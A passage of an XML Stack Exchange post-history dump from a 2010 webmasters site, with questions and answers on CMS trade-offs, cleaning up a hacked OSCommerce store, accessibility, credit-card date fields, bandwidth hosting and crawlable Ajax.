will be easier to publish and manage with a CMS, but it will only be as good as the humans who produce it.&#xD;&#xA;   4. Changing a CMS can be time consuming and expensive. If your web business plans to change drastically in the future, consider trying to anticipate the new business rules you’ll employ.&#xD;&#xA;&#xD;&#xA;[1]: http://www.boonedigital.com/tips/pros-and-cons-of-a-content-management-system/" />
  <row Id="3705" PostHistoryTypeId="2" PostId="1980" RevisionGUID="9473f434-1a56-4d43-8dee-3a55e9ec91b8" CreationDate="2010-08-06T13:29:35.193" UserId="97" Text="The easiest thing I've found is to use a contact form where there is a default address, but also the ability for the user to select who the communication should go to (marketing, sales, tech support, etc.).  Then, based on the value of the drop-down the posted form data is sent by the server to the appropriate email address.&#xD;&#xA;&#xD;&#xA;Run this contact list out of a database table so you can easily update/add entries to the drop-down.  That way you're never exposing any sort of address to the wide world of spam bots, and still give your users a great way to send in feedback." />
  <row Id="3706" PostHistoryTypeId="2" PostId="1981" RevisionGUID="f19f0a02-010c-4748-a3e6-ad2a93857256" CreationDate="2010-08-06T13:34:30.753" UserId="108" Text="The pros of using a content management solution are:&#xD;&#xA;&#xD;&#xA; 1. Users have access to update specific parts of your content&#xD;&#xA; 2. You have a history of what content was so if a mistake was made you can roll it back.&#xD;&#xA; 3. Multiple users have access to edit your site.  Sometimes in overlapping areas.&#xD;&#xA; 4. Provides a uniform format and feel for your site&#xD;&#xA; 5. Provides access to decent layout templates&#xD;&#xA; 6. Users don't have to know HTML&#xD;&#xA; 7. Some CMS tools allow for approval workflows of new content.  This allows more structure and control of what goes onto the site without extreme or manual overhead.&#xD;&#xA;&#xD;&#xA;The cons:&#xD;&#xA;&#xD;&#xA; 1. Everything has to fit within the structure provided by the CMS tool&#xD;&#xA; 2. It can cost money and in some cases a ton of money&#xD;&#xA; 3. It will cost time to setup&#xD;&#xA; 4. Migration to and from the CMS solution cost time&#xD;&#xA; 5. Many CMS solutions don't do SEO very well and there is no easy way to override their issues.&#xD;&#xA; 6. Management can become tedious and a hassle because you cannot gain much use of DRY (Do not Repeat Yourself)&#xD;&#xA;&#xD;&#xA;The company I currently work for was using a solution by Ektron but we moved away from it because the company is an engineering an manufacturing website.  So it has a lot of products that follow a duplicate format.  This meant whenever we wanted to make a change to our product information for 20 of our products we had to edit 20 pages.  If we wanted to move controls around on the site it took a ton of time and sometimes wouldn't work like we wanted.  If we wanted a special JavaScript enabled widget it was tough to implement.  We also only had 2 people working on web content.&#xD;&#xA;&#xD;&#xA;CMS to me is really for a website with a large amount of ever changing content that is managed by many people.  The farther you get away from a large content management user base and constantly changing data the less likely it will have value.  If your site needs to be agile in that its format and layout is always changing and a great deal of your content fits into a specific format that needs more fields that what a CMS has to offer then CMS may not be the best fit.&#xD;&#xA;" />
  <row Id="3707" PostHistoryTypeId="16" PostId="1979" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-06T13:35:53.607" UserId="55" />
  <row Id="3708" PostHistoryTypeId="16" PostId="1981" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-06T13:35:53.607" UserId="55" />
  <row Id="3709" PostHistoryTypeId="16" PostId="1978" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-06T13:35:53.607" UserId="55" />
  <row Id="3710" PostHistoryTypeId="2" PostId="1982" RevisionGUID="77322bf8-bebb-4888-abcb-45051591815b" CreationDate="2010-08-06T14:17:48.280" UserId="108" Text="I work for a company that setup a website, this one [thelinearshop.com][1](warning this site contains malware so don't go there if you are concerned), before I started working for them.  The site uses OSCommerce.  It now looks like someone was able to infect it with a malware link and jumble the site itself and when I visit the site I get a warning page from Google with the choice to leave, go to http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&amp;hl=en-US&amp;site=http://thelinearshop.com/ for info on why it is getting blocked, or to ignore the issue.&#xD;&#xA;&#xD;&#xA;I have looked at the site and someone definitely hacked it.  I have never run into this before and I am not sure how to proceed in order to get this fixed.  I know I need to get the virus out but I am also concerned that whoever set the site up used an older version of OSCommerce and that it must not be very secure.  Is that the case?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thelinearshop.com/" />
  <row Id="3711" PostHistoryTypeId="1" PostId="1982" RevisionGUID="77322bf8-bebb-4888-abcb-45051591815b" CreationDate="2010-08-06T14:17:48.280" UserId="108" Text="How to fix a site that Google tells you is infected" />
  <row Id="3712" PostHistoryTypeId="3" PostId="1982" RevisionGUID="77322bf8-bebb-4888-abcb-45051591815b" CreationDate="2010-08-06T14:17:48.280" UserId="108" Text="&lt;security&gt;&lt;oscommerce&gt;" />
  <row Id="3713" PostHistoryTypeId="5" PostId="1982" RevisionGUID="fe72bb29-ed0a-4371-b1cd-65766d146e90" CreationDate="2010-08-06T14:20:19.120" UserId="55" Comment="de-linked" Text="I work for a company that setup a website, this one thelinearshop.com ***(warning this site contains malware so don't go there if you are concerned)***, before I started working for them.  The site uses OSCommerce.  It now looks like someone was able to infect it with a malware link and jumble the site itself and when I visit the site I get a warning page from Google with the choice to leave, go to http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&amp;hl=en-US&amp;site=http://thelinearshop.com/ for info on why it is getting blocked, or to ignore the issue.&#xD;&#xA;&#xD;&#xA;I have looked at the site and someone definitely hacked it.  I have never run into this before and I am not sure how to proceed in order to get this fixed.  I know I need to get the virus out but I am also concerned that whoever set the site up used an older version of OSCommerce and that it must not be very secure.  Is that the case?&#xD;&#xA;" />
  <row Id="3714" PostHistoryTypeId="2" PostId="1983" RevisionGUID="2d60bf0f-10dd-4900-8858-360380f7cc54" CreationDate="2010-08-06T14:30:31.483" UserId="1253" Text="Your best bet, if it is possible, is to set up a development version of their site and try to upgrade it to a newer version of OSCommerce and see if it works properly. I don't use OSCommerce but I would think they would offer upgrade scripts or something similar to help automate the process. Assuming it works properly I would then upgrade the live site to the new version. That way you are sure you have all of the latest patches and have closed whatever hole(s) were originally exploited.&#xD;&#xA;&#xD;&#xA;Once you've cleaned up the site create a [Google Webmaster][1] account for this website if you haven't already. In there you can [request that Google check the site again][2] and have them remove the unsafe website label from their listings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=163633" />
  <row Id="3715" PostHistoryTypeId="2" PostId="1984" RevisionGUID="ed9e51c0-838a-417f-a38a-a7fc9ea8a23d" CreationDate="2010-08-06T14:33:52.803" UserId="1074" Text="Assume you're building a bulletproof CMS for your company.  Cost, time, and technology are no issue.  You've got developers ready to go with the knowledge and experience to crank out outstanding code.  &#xD;&#xA;&#xD;&#xA;Now, you have to answer the age old CMS question:  what steps do you take to ensure that the code entered into the CMS by the user is acceptable for your site?  I'm thinking beyond just technically escaping a string to make it able to go into a database--there are considerations for w3 standards, filtering for inappropriate content, spelling, and such conundrums as Microsoft Word code scrubbing.  Certainly, there are concerns that I've missed...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3716" PostHistoryTypeId="1" PostId="1984" RevisionGUID="ed9e51c0-838a-417f-a38a-a7fc9ea8a23d" CreationDate="2010-08-06T14:33:52.803" UserId="1074" Text="What steps should be taken to safeguard user-entered content on a CMS?" />
  <row Id="3717" PostHistoryTypeId="3" PostId="1984" RevisionGUID="ed9e51c0-838a-417f-a38a-a7fc9ea8a23d" CreationDate="2010-08-06T14:33:52.803" UserId="1074" Text="&lt;cms&gt;&lt;standards&gt;&lt;content&gt;&lt;planning&gt;" />
  <row Id="3718" PostHistoryTypeId="2" PostId="1985" RevisionGUID="037935c7-c564-4bc1-8001-0b5d97d72b07" CreationDate="2010-08-06T15:25:36.470" UserId="1074" Text="I've been through this before thanks to old versions of Joomla, phpBB, and OSCommerce.  In all cases, I was called in to mop up after someone else forgot (or neglected) to do upgrades.  In one case, a rogue test install of Joomla (with no intention of ever going live) was to blame.  Regardless, once one of these exploits gets out there, the &quot;bad guys&quot; are going to &quot;sniff&quot; everything they can find to exploit your systems.&#xD;&#xA;&#xD;&#xA;I took the low-tech approach in all cases.  First, I put up an &quot;under construction&quot; page that was clean to protect my IE users from getting infected.  Second, I searched for the bad code....it's usually pretty obvious what it is.  The good news is that these guys are generally lazy and automated...so it's normally just a few lines of javascript, nearly always in the same spot.  Remove it....automate if you have to.  Third, update EVERYTHING that's open source....no matter how new it might be.  Create a system that you can follow going forward to ensure updates don't get missed again.  Fourth, if you don't have analytics on your site, install it and set it up for daily reports.  These sort of intrusions sometimes show up as strange traffic spikes that can't be explained.  Finally, put it up (maybe even somewhere else) and test it thoroughly." />
  <row Id="3719" PostHistoryTypeId="2" PostId="1986" RevisionGUID="2a29cfde-a68e-44f0-a6a7-8bf40760a6c1" CreationDate="2010-08-06T15:26:02.553" UserId="910" Text="Firstly the “the disabled” means nothings!&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;So let look at some groups of people you need to check can you’re your web site.&#xD;&#xA;&#xD;&#xA;A poor person that only has a note-book with a small screen&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You just need to check your website can be used when the browser window is small without too match pain.&#xD;&#xA;&#xD;&#xA;A colour blind person&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Can someone use your website without seeing the colour of icons etc, imaged you were accessing it on a B&amp;W monitor.&#xD;&#xA;&#xD;&#xA;A person with poor site.&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;When your changes the type size in the browser, does all text get bigger in your site, and is the layout still OK.  Also can the size still be used on a small monitor?  &#xD;&#xA;&#xD;&#xA;Does your site use a high contrast layout, if not is it easy for the user to switch to a high contrast layout?&#xD;&#xA;&#xD;&#xA;A person that can’t use the mouse&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Can a person that has never used your website before, access all functions/information just be using the keyboard.  (Does the tab key work in a useful way?)&#xD;&#xA;&#xD;&#xA;Someone with poor reading skills&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You are using simple English as much as possible?&#xD;&#xA;&#xD;&#xA;Someone that is not good at learning new things.&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Is the design of your site based on other site your users already know how to use?&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;A blind person.&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This is the hard one and most of what you read is not of match use!!   &#xD;&#xA;Short out all our other access problems first, as there are a lot more people with poor site, or how can’t use the mouse than there are bind people.&#xD;&#xA;&#xD;&#xA;**Next understand your aims**,  e.g if your site is a hotel booking site, it may be better to provide a fee phone number for making bookings and then just make the hotel information accessible.  &#xD;&#xA;&#xD;&#xA;&gt; Most blind people find it very hard to&#xD;&#xA;&gt; use any interactive website they have&#xD;&#xA;&gt; not used before, however well the&#xD;&#xA;&gt; website is designed.&#xD;&#xA;&#xD;&#xA;So should you provide a none web option?&#xD;&#xA;&#xD;&#xA;Firstly can your site be used without any images?  (Alt text is one way of doing this)&#xD;&#xA;&#xD;&#xA;Given the speech software reads the site top to bottom, can your site be understood in that way?&#xD;&#xA;&#xD;&#xA;It is very hard to make a site with complex navigation easy for a bind person to use, also a bind person has no way of know that page of the page has been updated by JavaScript and need to be read again.&#xD;&#xA;&#xD;&#xA;Changing the colour of items for changes of state is also not a good option.&#xD;&#xA;&#xD;&#xA;The only way to learn how to make a website work well for bind people is to see how a bind person uses a screen reader on some websites.  None of the standards are good enough, they just tell you what you just not do, but keeping to them are not enough.&#xD;&#xA;" />
  <row Id="3720" PostHistoryTypeId="2" PostId="1987" RevisionGUID="c889029d-b2ad-4f47-93dc-09d86225731c" CreationDate="2010-08-06T15:50:33.603" UserId="1304" Text="I would answer this by spinning it into more of a &quot;What tools do I need to implement&quot; as then you can start thinking about a set of utilities, tools and plugins that you can use to implement the safeguards.&#xD;&#xA;&#xD;&#xA;Such things as TinyMCE for complex input, as it's got a 'paste from word' function which is ideal for eliminating lots of Word character issues.&#xD;&#xA;&#xD;&#xA;I notice that you say &quot;The code entered into the cms&quot; so are we talking actual code rather than content? As that would change the landscape of the application quite a bit in my opinion.&#xD;&#xA;&#xD;&#xA;Otherwise I agree with the comment by jessegavin, there could be lots and lots of answers to this question. I have to admit, I don't quite understand the question as it stands. As being a developer myself, these safeguards are things that I would code anyway when building the CMS.&#xD;&#xA;&#xD;&#xA;Although I think many of the safeguards could be covered in the Use Case design phase." />
  <row Id="3721" PostHistoryTypeId="2" PostId="1988" RevisionGUID="885015c7-e6b1-4958-850b-ba8b1d4749af" CreationDate="2010-08-06T15:57:42.150" UserId="55" Text="I think the question here is:&#xD;&#xA;&#xD;&#xA;&gt; &quot;How do I get exactly what I want from&#xD;&#xA;&gt; my users by making input absurdly easy&#xD;&#xA;&gt; for them&quot;&#xD;&#xA;&#xD;&#xA;The only instance where I see users actually needing to use HTML directly in some form of input is when / if they are formatting tabular data. However, in that case, its much easier to give them a form that can do the same, or any one of the popular grids available in various libraries.&#xD;&#xA;&#xD;&#xA;I think the golden rule, at least for me is, use a system of markup that is not HTML, which your form handlers can then use to construct beautiful, standards compliant and semantically correct HTML.&#xD;&#xA;&#xD;&#xA;Third party scanners can (normally) detect most problems with uploaded files. I personally like ClamAV - which is available for both *nix and Windows.&#xD;&#xA;&#xD;&#xA;That solves the problem of making sure everything is arranged nicely, formatted correctly and no undesirable stuff is being served to visitors, or is it?&#xD;&#xA;&#xD;&#xA;The other thing you need to do is review any content that they submit, a human being has to have some part in this or stuff is going to be missed. Is that image appropriate? Does that link lead to malware or something else that you would rather not link to? Etc.&#xD;&#xA;&#xD;&#xA;Providing a flagging mechanism helps, but is always not effective. For instance, if you provide an answer to a two year old question on stackoverflow.com, the question is immediately bumped to the front page where the community is sure to review what was just added. Not all systems are designed with that sort of safeguard in mind.&#xD;&#xA;&#xD;&#xA;If you do a significant amount of volume when it comes to user contributed content, its probably worth your time to explore using contractors who simply review submissions to make sure inappropriate media / links are weeded out quickly. Or, perhaps you can enlist help from your community of users (if one exists) to do the same, in exchange for some kind of special privileges or extra perks that normal users don't enjoy." />
  <row Id="3722" PostHistoryTypeId="16" PostId="1987" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-06T16:00:40.023" UserId="55" />
  <row Id="3723" PostHistoryTypeId="16" PostId="1988" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-06T16:00:40.023" UserId="55" />
  <row Id="3724" PostHistoryTypeId="16" PostId="1984" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-06T16:00:40.023" UserId="55" />
  <row Id="3725" PostHistoryTypeId="2" PostId="1989" RevisionGUID="7e30d5d6-e2a6-46f7-9b60-908e0565bf7b" CreationDate="2010-08-06T16:07:34.260" UserId="407" Text="I'm implementing part of a payment process for a website and am just putting together the enter card details screen (card number, card holder's name, card start/expiry dates etc.).&#xD;&#xA;&#xD;&#xA;I'm implementing the card start/expiry dates as month and year dropdowns but am not sure which years I should cover to ensure no one is unable to enter their details. &#xD;&#xA;&#xD;&#xA;Does anyone have any information as to how long cards are issued for so as to determine the earliest possible start year and latest possible end year? &#xD;&#xA;&#xD;&#xA;Also do I need to worry about any overlap of the current date. e.g. in December 2010 is it possible someone may have a valid card with a start date of January 2010?" />
  <row Id="3726" PostHistoryTypeId="1" PostId="1989" RevisionGUID="7e30d5d6-e2a6-46f7-9b60-908e0565bf7b" CreationDate="2010-08-06T16:07:34.260" UserId="407" Text="Credit card start and end date selection" />
  <row Id="3727" PostHistoryTypeId="3" PostId="1989" RevisionGUID="7e30d5d6-e2a6-46f7-9b60-908e0565bf7b" CreationDate="2010-08-06T16:07:34.260" UserId="407" Text="&lt;payments&gt;&lt;creditcard&gt;&lt;expiry-dates&gt;" />
  <row Id="3728" PostHistoryTypeId="6" PostId="1989" RevisionGUID="4e00aca1-6828-4d48-8762-f4c9f22c93e9" CreationDate="2010-08-06T16:10:32.323" UserId="55" Comment="edited tags" Text="&lt;payments&gt;&lt;creditcard&gt;" />
  <row Id="3729" PostHistoryTypeId="2" PostId="1990" RevisionGUID="34a31637-dedb-4194-99e0-d2b63fa2fb90" CreationDate="2010-08-06T16:14:20.290" UserId="1220" Text="I am curious to know that how we can make web site development much faster. I am specific about asp.net.&#xD;&#xA;&#xD;&#xA;As far as my knowledge is concern, we can make asp.net website development faster by&#xD;&#xA;&#xD;&#xA;Using Log4Net - to capture logging information&#xD;&#xA;Entity framework - to increase database operation speed.&#xD;&#xA;&#xD;&#xA;So, is there other tools also which we can use to optimize the development process? &#xD;&#xA;&#xD;&#xA;If you have used in any of your project, whether it was a small project or large.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3730" PostHistoryTypeId="1" PostId="1990" RevisionGUID="34a31637-dedb-4194-99e0-d2b63fa2fb90" CreationDate="2010-08-06T16:14:20.290" UserId="1220" Text="Increase development speed for .NET website" />
  <row Id="3731" PostHistoryTypeId="3" PostId="1990" RevisionGUID="34a31637-dedb-4194-99e0-d2b63fa2fb90" CreationDate="2010-08-06T16:14:20.290" UserId="1220" Text="&lt;web-development&gt;&lt;tools&gt;&lt;website&gt;" />
  <row Id="3732" PostHistoryTypeId="5" PostId="1986" RevisionGUID="81b20bad-10a9-4e45-b053-8f61442ccbd5" CreationDate="2010-08-06T16:18:11.767" UserId="910" Comment="added 65 characters in body" Text="Firstly the “the disabled” means nothings!&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;So let look at some groups of people you need to check can you’re your web site.&#xD;&#xA;&#xD;&#xA;A poor person that only has a note-book with a small screen&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You just need to check your website can be used when the browser window is small without too match pain.&#xD;&#xA;&#xD;&#xA;A colour blind person&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Can someone use your website without seeing the colour of icons etc, imaged you were accessing it on a B&amp;W monitor.&#xD;&#xA;&#xD;&#xA;A person with poor site.&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;When your changes the type size in the browser, does all text get bigger in your site, and is the layout still OK.  Also can the size still be used on a small monitor?  &#xD;&#xA;&#xD;&#xA;Does your site use a high contrast layout, if not is it easy for the user to switch to a high contrast layout?&#xD;&#xA;&#xD;&#xA;A person that can’t use the mouse&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Can a person that has never used your website before, access all functions/information just be using the keyboard.  (Does the tab key work in a useful way?)&#xD;&#xA;&#xD;&#xA;Someone with poor reading skills&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You are using simple English as much as possible?&#xD;&#xA;&#xD;&#xA;Someone that is not good at learning new things.&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Is the design of your site based on other site your users already know how to use?&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;A blind person.&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;This is the hard one and most of what you read is not of match use!!   &#xD;&#xA;Short out all our other access problems first, as there are a lot more people with poor site, or how can’t use the mouse than there are bind people.&#xD;&#xA;&#xD;&#xA;**Next understand your aims**,  e.g if your site is a hotel booking site, it may be better to provide a fee phone number for making bookings and then just make the hotel information accessible.  &#xD;&#xA;&#xD;&#xA;&gt; Most blind people find it very hard to&#xD;&#xA;&gt; use any interactive website they have&#xD;&#xA;&gt; not used before, however well the&#xD;&#xA;&gt; website is designed.&#xD;&#xA;&#xD;&#xA;So should you provide a none web option?  (Phone? A person that visit them to help fill in the form etc?)&#xD;&#xA;&#xD;&#xA;Firstly can your site be used without any images?  (Alt text is one way of doing this)&#xD;&#xA;&#xD;&#xA;Given the speech software reads the site top to bottom, can your site be understood in that way?&#xD;&#xA;&#xD;&#xA;It is very hard to make a site with complex navigation easy for a bind person to use, also a bind person has no way of know that page of the page has been updated by JavaScript and need to be read again.&#xD;&#xA;&#xD;&#xA;Changing the colour of items for changes of state is also not a good option.&#xD;&#xA;&#xD;&#xA;The only way to learn how to make a website work well for bind people is to see how a bind person uses a screen reader on some websites.  None of the standards are good enough, they just tell you what you just not do, but keeping to them are not enough.&#xD;&#xA;" />
  <row Id="3733" PostHistoryTypeId="2" PostId="1991" RevisionGUID="e97aba8c-734c-4ebc-89ab-619a6909b550" CreationDate="2010-08-06T16:26:57.623" UserId="763" Text="I saw that Google had a nice proposal/standard for making Ajax applications crawlable, via #! (hash bang).&#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA; - Are they currently using this &quot;proposal&quot; in the real world already?&#xD;&#xA; - Are other search engines -- Bing specifically, also using or planning on using it?&#xD;&#xA;" />
  <row Id="3734" PostHistoryTypeId="1" PostId="1991" RevisionGUID="e97aba8c-734c-4ebc-89ab-619a6909b550" CreationDate="2010-08-06T16:26:57.623" UserId="763" Text="Status of Crawlable Ajax?" />
  <row Id="3735" PostHistoryTypeId="3" PostId="1991" RevisionGUID="e97aba8c-734c-4ebc-89ab-619a6909b550" CreationDate="2010-08-06T16:26:57.623" UserId="763" Text="&lt;seo&gt;&lt;google&gt;&lt;ajax&gt;&lt;crawling&gt;" />
  <row Id="3736" PostHistoryTypeId="2" PostId="1992" RevisionGUID="387b9709-c782-4f85-805c-161c7204f387" CreationDate="2010-08-06T16:33:47.040" UserId="1346" Text="I'm working on a web site that is likely to be very bandwidth-heavy.  A major feature of the site when in active use can pull up to 1Mbps for a single session.  Luckily, once users get over the new toy factor, the use of this feature will probably be 1-5% or less (probably much less) of session time.&#xD;&#xA;&#xD;&#xA;However, new users are likely to play with this feature a good bit, especially at launch.  I'm very concerned about bandwidth use.&#xD;&#xA;&#xD;&#xA;This is more or less a niche market, so I won't ever be needing to scale to crazy levels like YouTube.  However, it is entirely possible for it to be a couple terabytes/month.&#xD;&#xA;&#xD;&#xA;Is co-location my best option?  What cheap bandwidth services (colocation/hosted/cloud/whatever) are out there?&#xD;&#xA;" />
  <row Id="3737" PostHistoryTypeId="1" PostId="1992" RevisionGUID="387b9709-c782-4f85-805c-161c7204f387" CreationDate="2010-08-06T16:33:47.040" UserId="1346" Text="Bandwidth heavy site...  use co-location?" />
  <row Id="3738" PostHistoryTypeId="3" PostId="1992" RevisionGUID="387b9709-c782-4f85-805c-161c7204f387" CreationDate="2010-08-06T16:33:47.040" UserId="1346" Text="&lt;bandwidth&gt;" />
  <row Id="3739" PostHistoryTypeId="2" PostId="1993" RevisionGUID="e955d3d6-aa0c-43e4-a2f0-0023c91503f9" CreationDate="2010-08-06T16:53:57.390" UserId="1204" Text="A lot would depend on how many concurrent sessions you are expecting. If more then a few concurrent sessions is likely then you are going to need something that grants you a 100Mbit connection, 1Gbit if you expect more than 50.&#xD;&#xA;&#xD;&#xA;It will also depend on what sort of resilience you require - if you must have uptime guarantees and other SLAs and/or fail-over systems to take over in case of a problem (because the project is important enough for a short period of down time to be embarrassing) then your options are more limited and your costs will be higher.&#xD;&#xA;&#xD;&#xA;If you can separate the large data from the rest of the app then you do not need to move everything to a new hosting solution. For instance if the large bandwidth items are video files then you could rent a dedicated server with good bandwidth somewhere and host them on that - you can get servers on good hosts with decent bandwidth and 100mbit+ connections surprisingly cheaply these days (I pay $50/month for a small server with a 10Mbit link that I could saturate in both directions 24/7 if I needed to, so a 100Mbit link with a beefier server attached is not going to be expensive unless you need guaranteed uptime and other SLAs and/or server management from the hosting provider). If the server is just serving static files (even large ones) you do not need much of a machine in terms of CPU and RAM, just fast drives and bandwidth. It might also be worth looking at &quot;cloud&quot; hosted solutions or a content delivery network - they might be easier to scale should you under-guess how much bandwidth you need are are in theory much more resilient (so you might get a decent uptime guarantee with compensation if they fail to keep to that SLA). Keeping the bandwidth hogging action separate in these ways has the added advantage that if the high-bandwidth feature does attract enough attention to make it crawl that won't block all your other features at the same time." />
  <row Id="3740" PostHistoryTypeId="2" PostId="1994" RevisionGUID="44145651-ce84-4068-9013-d24c00130f9b" CreationDate="2010-08-06T17:00:53.293" UserId="26" Text="It sounds like what you need to look at is a [CDN][1] such as [Amazon Cloudfront][2].&#xD;&#xA;&#xD;&#xA;Check out these questions for discussions about the usage of CDNs:&#xD;&#xA;&#xD;&#xA;- [CDN - Content Delivery Networks. How do they work and why would I want to use one?][3]&#xD;&#xA;- [When did you decide to use a CDN? How did you measure the “success” of using a CDN?][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Content_delivery_network&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Amazon_CloudFront&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/577/cdn-content-delivery-networks-how-do-they-work-and-why-would-i-want-to-use-on&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/559/when-did-you-decide-to-use-a-cdn-how-did-you-measure-the-success-of-using-a-cd/561" />
  <row Id="3741" PostHistoryTypeId="2" PostId="1995" RevisionGUID="f26d6f16-f25e-4c45-a7f0-9b9adb785a71" CreationDate="2010-08-06T17:05:55.873" UserId="26" Text="What I've done is simply include the current year + 20 as a dropdown selection. You can also simply allow the user to enter a numeric entry of 4 (or even 2) digits for the year and you're covered.&#xD;&#xA;&#xD;&#xA;&quot;[**Maximum Year in Expry Date of Credit Card**][1]&quot; on sister site [Stack Overflow][2] discusses this pretty well. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2500588/maximum-year-in-expry-date-of-credit-card&#xD;&#xA;  [2]: http://stackoverflow.com/" />
  <row Id="3742" PostHistoryTypeId="2" PostId="1996" RevisionGUID="8f4e7dbc-eb90-4639-a993-681ad809d7a8" CreationDate="2010-08-06T17:08:52.903" UserId="1350" Text="If you are webforms person, I recommend [.netTiers][1]. My co-worker raves about it and I've played some with it. It created the models and views dynamically. But, I'm a asp-net-mvc man. I created CodeTemplates for generating custom views, controllers, etc rapidly. Also checkout [MVCContrib][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nettiers.com/&#xD;&#xA;  [2]: http://mvccontrib.codeplex.com/" />
  <row Id="3743" PostHistoryTypeId="16" PostId="1996" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-06T17:09:28.100" UserId="55" />
  <row Id="3744" PostHistoryTypeId="16" PostId="1990" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-06T17:09:28.100" UserId="55" />
  <row Id="3745" PostHistoryTypeId="2" PostId="1997" RevisionGUID="e6e7883f-9385-47b6-ba05-f0cb7a1717d4" CreationDate="2010-08-06T17:47:28.210" UserId="1253" Text="It's only a proposal so it's not enacted yet (at least no one has announced it as being used).&#xD;&#xA;&#xD;&#xA;It's hard to say if other search engines are going to use it but if it is standardized the odds are they will as they have been lock step with other standardized functionality (nofollow, etc.)." />
  <row Id="3746" PostHistoryTypeId="10" PostId="1990" RevisionGUID="f8a30dc0-45e7-434d-891e-211f476070a5" CreationDate="2010-08-06T18:01:27.910" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;rchern&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="3747" PostHistoryTypeId="5" PostId="1997" RevisionGUID="c13a9c01-2b5e-4b2c-bbe3-469baa9a8d5b" CreationDate="2010-08-06T18:22:12.377" UserId="1253" Comment="added 327 characters in body" Text="It's only a proposal so it's not being used yet (at least no one has announced it as being used but it is not uncommon for search engines to keep their capabilities a secret. At least for a little while). &#xD;&#xA;&#xD;&#xA;It's hard to say if other search engines are going to use it but if it is standardized the odds are they will as they have been lock step with other standardized functionality (nofollow, etc.). Typically proposals take a while to be discussed and agreed upon (i.e. HTML 5) although it is always possible someone (i.e. Google) unilaterally implements it and the others are forced to adopt it simply to keep up." />
  <row Id="3748" PostHistoryTypeId="2" PostId="1998" RevisionGUID="ab84fe23-5c81-4cda-adfb-15bca79698b8" CreationDate="2010-08-06T19:04:44.057" UserId="914" Text="Well, if I was building a CMS (and, actually, I have done) I wouldn't care what content was entered into it, so long as that content can be stored and retrieved. It's not the job of a content-management system to second-guess what is acceptable and what isn't, as it varies depending on usage.&#xD;&#xA;&#xD;&#xA;All you need to do is ensure the content is moderated (ie. goes through a workflow approval process). This is why you have content editors, whose job it is to review content that is entered and then decide what should be published, what should be rejected and what needs tidying up. Whilst it's relatively easy to tidy-up WYSIWYG content programmatically, it takes a human to really decide if content is suitable for publication.&#xD;&#xA;&#xD;&#xA;Never let users enter content directly into your site - always review it." />
  <row Id="3749" PostHistoryTypeId="16" PostId="1998" RevisionGUID="ab84fe23-5c81-4cda-adfb-15bca79698b8" CreationDate="2010-08-06T19:04:44.057" UserId="-1" />
  <row Id="3750" PostHistoryTypeId="2" PostId="1999" RevisionGUID="668d1c3d-9fc0-4a26-89a4-e13b0c6e886a" CreationDate="2010-08-06T20:11:21.010" UserId="1111" Text="I don't know a fully Ajax compatible crawler atm. But is has enough crawlers/bots who are specialized on reading JQuery, Prototype and other frameworks. Also some proposals and &quot;quick&amp;dirtie&quot; solutions for (&quot;good&quot;) refactored JavaScript are on the way to be stable. Just search on Google Code. I don't know if it is a good idea to post some links here.&#xD;&#xA;&#xD;&#xA;Btw: Most Ajax websites are fully crawable because many Users uses AddOns like NoScript to deactivate JavaScript. So most sites provides a fallback solution. (also for old browsers)." />
